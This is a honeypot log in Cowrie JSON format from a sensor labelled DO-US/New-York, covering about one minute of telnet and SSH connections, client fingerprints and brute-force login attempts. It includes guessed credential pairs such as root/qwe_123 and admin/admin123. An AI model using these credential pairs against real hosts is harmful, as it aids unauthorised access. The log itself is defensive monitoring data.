{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41300,"dst_ip":"159.203.135.109","dst_port":23,"session":"d23662b157f9","protocol":"telnet","message":"New connection: 34.69.118.1:41300 (159.203.135.109:23) [session: d23662b157f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:41.199812Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41304,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d08d69d8fc3","protocol":"telnet","message":"New connection: 34.69.118.1:41304 (159.203.135.109:23) [session: 1d08d69d8fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:41.307705Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41320,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d653f944e4","protocol":"telnet","message":"New connection: 34.69.118.1:41320 (159.203.135.109:23) [session: 25d653f944e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:41.575240Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41322,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d043c45fa82","protocol":"telnet","message":"New connection: 34.69.118.1:41322 (159.203.135.109:23) [session: 4d043c45fa82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:41.584429Z"}
{"eventid":"cowrie.session.closed","duration":31.50147795677185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:44.919234Z","src_ip":"34.69.118.1","session":"367ce376f9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41336,"dst_ip":"159.203.135.109","dst_port":23,"session":"8641971dfa0c","protocol":"telnet","message":"New connection: 34.69.118.1:41336 (159.203.135.109:23) [session: 8641971dfa0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:45.408731Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":34480,"dst_ip":"159.203.135.109","dst_port":22,"session":"f73e5ee6a7c2","protocol":"ssh","message":"New connection: 113.163.156.190:34480 (159.203.135.109:22) [session: f73e5ee6a7c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:47.605059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:47.627312Z","src_ip":"113.163.156.190","session":"f73e5ee6a7c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:47.948048Z","src_ip":"113.163.156.190","session":"f73e5ee6a7c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe_123","message":"login attempt [root/qwe_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:49.259935Z","src_ip":"113.163.156.190","session":"f73e5ee6a7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"17e48847e00c","protocol":"telnet","message":"New connection: 34.69.118.1:52978 (159.203.135.109:23) [session: 17e48847e00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:49.461552Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:50.584242Z","src_ip":"113.163.156.190","session":"f73e5ee6a7c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3442c778dfaa","protocol":"telnet","message":"New connection: 34.69.118.1:52984 (159.203.135.109:23) [session: 3442c778dfaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:54.729996Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53000,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d7533d611db","protocol":"telnet","message":"New connection: 34.69.118.1:53000 (159.203.135.109:23) [session: 3d7533d611db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:55.779425Z"}
{"eventid":"cowrie.session.closed","duration":31.000915050506592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:56.064350Z","src_ip":"89.39.83.70","session":"9a7eb787ba84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":55938,"dst_ip":"159.203.135.109","dst_port":23,"session":"16df43437231","protocol":"telnet","message":"New connection: 34.69.118.1:55938 (159.203.135.109:23) [session: 16df43437231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:58.268089Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":40414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cac6dd6ab0a","protocol":"telnet","message":"New connection: 103.171.45.122:40414 (159.203.135.109:23) [session: 0cac6dd6ab0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:58.974025Z"}
{"eventid":"cowrie.session.closed","duration":30.64609956741333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:20:59.359947Z","src_ip":"34.69.118.1","session":"a320d2bc900c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.419535636901855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:00.195309Z","src_ip":"89.39.83.70","session":"cd24fc1a534e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19883179664612,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:02.363278Z","src_ip":"34.69.118.1","session":"d1f24ce6d601","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.964839458465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:04.170827Z","src_ip":"34.69.118.1","session":"bf68751e3875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058987617492676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:04.350055Z","src_ip":"34.69.118.1","session":"3ac8dab7ea97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":33944,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ced68bde4fd","protocol":"ssh","message":"New connection: 122.168.114.167:33944 (159.203.135.109:22) [session: 1ced68bde4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:05.257024Z"}
{"eventid":"cowrie.session.closed","duration":31.631470680236816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:05.615374Z","src_ip":"34.69.118.1","session":"b48ab0318869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":55952,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbfc33ca31de","protocol":"telnet","message":"New connection: 34.69.118.1:55952 (159.203.135.109:23) [session: dbfc33ca31de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:06.110750Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41828,"dst_ip":"159.203.135.109","dst_port":23,"session":"c22fec0f379e","protocol":"telnet","message":"New connection: 34.69.118.1:41828 (159.203.135.109:23) [session: c22fec0f379e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:09.851171Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41838,"dst_ip":"159.203.135.109","dst_port":23,"session":"42436e6f86f4","protocol":"telnet","message":"New connection: 34.69.118.1:41838 (159.203.135.109:23) [session: 42436e6f86f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:10.320835Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41840,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f755e6f8d53","protocol":"telnet","message":"New connection: 34.69.118.1:41840 (159.203.135.109:23) [session: 6f755e6f8d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:10.361992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:10.764672Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:10.768547Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.638296365737915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:12.837944Z","src_ip":"34.69.118.1","session":"d23662b157f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.341198921203613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:12.916301Z","src_ip":"34.69.118.1","session":"25d653f944e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6567702293396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:12.964365Z","src_ip":"34.69.118.1","session":"1d08d69d8fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423112630844116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:13.007421Z","src_ip":"34.69.118.1","session":"4d043c45fa82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.428646564483643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:16.837253Z","src_ip":"34.69.118.1","session":"8641971dfa0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015013217926,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:17.373360Z","src_ip":"109.224.242.7","session":"3b6c29d24463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":56598,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b291e95d202","protocol":"telnet","message":"New connection: 109.224.242.7:56598 (10.17.0.5:23) [session: 3b291e95d202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:18.295658Z"}
{"eventid":"cowrie.session.closed","duration":30.85368585586548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:20.315145Z","src_ip":"34.69.118.1","session":"17e48847e00c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.127.61.251","src_port":57160,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4f17478ee2","protocol":"ssh","message":"New connection: 76.127.61.251:57160 (10.17.0.5:22) [session: 4c4f17478ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:24.847951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:24.853264Z","src_ip":"76.127.61.251","session":"4c4f17478ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:24.909914Z","src_ip":"76.127.61.251","session":"4c4f17478ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kevin123","message":"login attempt [root/kevin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:25.169750Z","src_ip":"76.127.61.251","session":"4c4f17478ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89735460281372,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:25.627236Z","src_ip":"34.69.118.1","session":"3442c778dfaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:26.232486Z","src_ip":"76.127.61.251","session":"4c4f17478ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.1758873462677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:26.955184Z","src_ip":"34.69.118.1","session":"3d7533d611db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.273460626602173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:29.247333Z","src_ip":"103.171.45.122","session":"0cac6dd6ab0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.056293964385986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:29.324285Z","src_ip":"34.69.118.1","session":"16df43437231","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":33842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a40cdff374ce","protocol":"telnet","message":"New connection: 157.15.20.138:33842 (159.203.135.109:23) [session: a40cdff374ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:29.981534Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49164,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fab9c04b0c2","protocol":"telnet","message":"New connection: 103.171.45.122:49164 (159.203.135.109:23) [session: 3fab9c04b0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:30.715672Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":39098,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9cedf0f9ac","protocol":"ssh","message":"New connection: 221.139.88.149:39098 (10.17.0.5:22) [session: 0c9cedf0f9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:31.973299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:31.978699Z","src_ip":"221.139.88.149","session":"0c9cedf0f9ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:32.168981Z","src_ip":"221.139.88.149","session":"0c9cedf0f9ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49178,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03acf9050f2","protocol":"telnet","message":"New connection: 103.171.45.122:49178 (159.203.135.109:23) [session: b03acf9050f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:32.287059Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:32.353543Z","src_ip":"122.168.114.167","session":"1ced68bde4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mehdi123456","message":"login attempt [root/mehdi123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:33.021659Z","src_ip":"221.139.88.149","session":"0c9cedf0f9ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109720230103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:33.501784Z","src_ip":"109.224.242.7","session":"2f79a502b8d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60372,"dst_ip":"159.203.135.109","dst_port":23,"session":"d112261fa902","protocol":"telnet","message":"New connection: 34.69.118.1:60372 (159.203.135.109:23) [session: d112261fa902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:34.033099Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:34.273362Z","src_ip":"221.139.88.149","session":"0c9cedf0f9ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60386,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b930b324414","protocol":"telnet","message":"New connection: 34.69.118.1:60386 (159.203.135.109:23) [session: 0b930b324414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:34.834888Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":60388,"dst_ip":"159.203.135.109","dst_port":23,"session":"150b5a535f64","protocol":"telnet","message":"New connection: 34.69.118.1:60388 (159.203.135.109:23) [session: 150b5a535f64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:35.157903Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":32892,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4f1a1e40211","protocol":"telnet","message":"New connection: 103.171.45.122:32892 (159.203.135.109:23) [session: f4f1a1e40211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:35.806500Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":33880,"dst_ip":"10.17.0.5","dst_port":23,"session":"081609238e24","protocol":"telnet","message":"New connection: 109.224.242.7:33880 (10.17.0.5:23) [session: 081609238e24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:21:37.137686Z"}
